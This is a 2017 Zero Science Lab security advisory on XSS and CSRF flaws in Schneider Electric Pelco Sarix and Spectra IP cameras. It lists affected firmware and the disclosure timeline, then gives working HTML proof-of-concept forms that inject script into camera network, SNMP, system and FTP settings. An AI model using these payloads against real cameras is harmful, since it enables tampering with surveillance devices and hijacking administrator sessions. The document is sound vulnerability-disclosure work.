Schneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities

2017-07-10T00:00:00
ID ZSL-2017-5415
Type zeroscience
Reporter Gjoko Krstic
Modified 2017-07-10T00:00:00

Description

Title: Schneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities
Advisory ID: ZSL-2017-5415
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 10.07.2017

Summary

Pelco offers the broadest selection of IP cameras designed for security surveillance in a wide variety of commercial and industrial settings. From our industry-leading fixed and high-speed IP cameras to panoramic, thermal imaging, explosionproof and more, we offer a camera for any environment, any lighting condition and any application. When nothing but the best will do. Sarix™ Enhanced Range cameras provide the most robust feature-set for your mission-critical applications. With SureVision™ 3.0, Sarix Enhanced delivers the best possible image in difficult lighting conditions such as a combination of bright areas, shaded areas, and intense light. Designed with superior reliability, fault tolerance, and processing speed, these rugged fixed IP cameras ensure you always get the video that you need.

Description

Pelco cameras suffer from multiple dom-based, stored and reflected XSS vulnerabilities when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Vendor

Schneider Electric SE - <https://www.pelco.com>

Affected Version

Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)

Tested On

Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
Lighttpd/1.4.28
PHP/5.3.0

Vendor Status

[07.04.2017] Vulnerabilities discovered.
[28.04.2017] Vendor contacted.
[09.07.2017] No response from the vendor.
[10.07.2017] Public security advisory released.

PoC

pelco_xss.txt

Credits

Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk>

References

[1] <https://www.exploit-db.com/exploits/42307/>
[2] <https://cxsecurity.com/issue/WLB-2017070075>
[3] <https://packetstormsecurity.com/files/143313>
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/129665>

Changelog

[10.07.2017] - Initial release
[01.08.2017] - Added reference [1], [2] and [3]
[07.08.2017] - Added reference [4]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: lab@zeroscience.mk

                                        
                                            
Schneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
                  Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
                  Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)

Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. Sarix™ Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVision™ 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.

Desc: Pelco cameras suffer from multiple dom-based, stored and reflected
XSS vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
           MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
           Lighttpd/1.4.28
           PHP/5.3.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5415
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5415.php


07.04.2017

--


CSRF/XSS on username parameter:
-------------------------------

&lt;html&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="http://192.168.1.1/setup/network/dot1x/update" method="POST"&gt;
      &lt;input type="hidden" name="dot1x" value="on" /&gt;
      &lt;input type="hidden" name="protocol" value="EAP&#45;TLS" /&gt;
      &lt;input type="hidden" name="inner&#95;auth" value="CHAP" /&gt;
      &lt;input type="hidden" name="username" value='"&gt;&lt;script&gt;alert(1)&lt;/script&gt;' /&gt;
      &lt;input type="hidden" name="password" value="blah" /&gt;
      &lt;input type="hidden" name="anonymous&#95;id" value="&#13;" /&gt;
      &lt;input type="hidden" name="ca&#95;certificate" value="test" /&gt;
      &lt;input type="hidden" name="client&#95;certificate" value="test" /&gt;
      &lt;input type="hidden" name="private&#95;key" value="test" /&gt;
      &lt;input type="hidden" name="private&#95;key&#95;password" value="test" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;


CSRF/XSS on gateway, hostname, ip_address, nameservers, http_port, rtsp_port and subnet_mask parameter:
-------------------------------------------------------------------------------------------------------

&lt;html&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="http://192.168.1.1/setup/network/general/update" method="POST"&gt;
      &lt;input type="hidden" name="hostname" value='"&gt;&lt;script&gt;alert(2)&lt;/script&gt;' /&gt;
      &lt;input type="hidden" name="http&#95;port" value='"&gt;&lt;script&gt;alert(3)&lt;/script&gt;' /&gt;
      &lt;input type="hidden" name="rtsp&#95;port" value='"&gt;&lt;script&gt;alert(4)&lt;/script&gt;' /&gt;
      &lt;input type="hidden" name="dhcp" value="off" /&gt;
      &lt;input type="hidden" name="ip&#95;address" value='"&gt;&lt;script&gt;alert(5)&lt;/script&gt;' /&gt;
      &lt;input type="hidden" name="subnet&#95;mask" value='"&gt;&lt;script&gt;alert(6)&lt;/script&gt;' /&gt;
      &lt;input type="hidden" name="gateway" value='"&gt;&lt;script&gt;alert(7)&lt;/script&gt;' /&gt;
      &lt;input type="hidden" name="nameservers" value='"&gt;&lt;script&gt;alert(8)&lt;/script&gt;' /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;


CSRF/XSS on version parameter:
------------------------------

&lt;html&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="http://192.168.1.1/setup/network/snmp/update" method="POST"&gt;
      &lt;input type="hidden" name="version" value='";alert(9)//' /&gt;
      &lt;input type="hidden" name="v2&#95;community&#95;string" value="public" /&gt;
      &lt;input type="hidden" name="v2&#95;receiver&#95;address" value="" /&gt;
      &lt;input type="hidden" name="v2&#95;trap&#95;community&#95;string" value="trapbratce" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;


CSRF/XSS on device_name, ntp_server, region, smtp_server and zone parameter:
----------------------------------------------------------------------------

&lt;html&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="http://192.168.1.1/setup/system/general/update" method="POST"&gt;
      &lt;input type="hidden" name="device&#95;name" value='ZSL"&gt;&lt;script&gt;alert(10)&lt;/script&gt;' /&gt;
      &lt;input type="hidden" name="enable&#95;leds" value="on" /&gt;
      &lt;input type="hidden" name="smtp&#95;server" value='"&gt;&lt;script&gt;alert(11)&lt;/script&gt;' /&gt;
      &lt;input type="hidden" name="ntp&#95;server&#95;from&#95;dhcp" value="false" /&gt;
      &lt;input type="hidden" name="ntp&#95;server" value="';alert(12)//'" /&gt;
      &lt;input type="hidden" name="region" value="Macedonia';alert(13)//" /&gt;
      &lt;input type="hidden" name="zone" value="Kumanovo';alert(14)//" /&gt;
      &lt;input type="hidden" name="enable&#95;time&#95;overlay" value="on" /&gt;
      &lt;input type="hidden" name="enable&#95;name&#95;overlay" value="off" /&gt;
      &lt;input type="hidden" name="position" value="topright" /&gt;
      &lt;input type="hidden" name="date&#95;format" value="0" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;


XSS on ftp_base_path, ftp_server, ftp_username, ftp_password and name parameter:
--------------------------------------------------------------------------------

&lt;html&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="http://192.168.1.1/setup/events/handlers/update" method="POST"&gt;
      &lt;input type="hidden" name="id" value="" /&gt;
      &lt;input type="hidden" name="relay&#95;sentinel" value="relay&#95;sentinel" /&gt;
      &lt;input type="hidden" name="name" value='"&gt;&lt;script&gt;alert(15)&lt;/script&gt;' /&gt;
      &lt;input type="hidden" name="type" value="Ftp" /&gt;
      &lt;input type="hidden" name="email&#95;to" value="" /&gt;
      &lt;input type="hidden" name="email&#95;from" value="" /&gt;
      &lt;input type="hidden" name="email&#95;subject" value="" /&gt;
      &lt;input type="hidden" name="email&#95;message" value="" /&gt;
      &lt;input type="hidden" name="dest&#95;name" value="IMG&#37;m&#37;d&#37;Y&#37;H&#37;M&#37;S&#46;jpg" /&gt;
      &lt;input type="hidden" name="limit&#95;size" value="" /&gt;
      &lt;input type="hidden" name="limit&#95;size&#95;scale" value="K" /&gt;
      &lt;input type="hidden" name="ftp&#95;server" value='"&gt;&lt;script&gt;alert(16)&lt;/script&gt;' /&gt;
      &lt;input type="hidden" name="ftp&#95;username" value='"&gt;&lt;script&gt;alert(17)&lt;/script&gt;' /&gt;
      &lt;input type="hidden" name="ftp&#95;password" value='"&gt;&lt;script&gt;alert(18)&lt;/script&gt;' /&gt;
      &lt;input type="hidden" name="ftp&#95;base&#95;path" value='"&gt;&lt;script&gt;alert(19)&lt;/script&gt;' /&gt;
      &lt;input type="hidden" name="ftp&#95;dest&#95;name" value="IMG&#37;m&#37;d&#37;Y&#37;H&#37;M&#37;S&#46;jpg" /&gt;
      &lt;input type="hidden" name="relay&#95;bankName" value="GPIO" /&gt;
      &lt;input type="hidden" name="relay&#95;index" value="0" /&gt;
      &lt;input type="hidden" name="relay&#95;on&#95;time" value="0&#46;1" /&gt;
      &lt;input type="hidden" name="relay&#95;off&#95;time" value="0&#46;1" /&gt;
      &lt;input type="hidden" name="relay&#95;pulse&#95;count" value="" /&gt;
      &lt;input type="hidden" name="filter&#95;start0" value="" /&gt;
      &lt;input type="hidden" name="filter&#95;stop0" value="" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;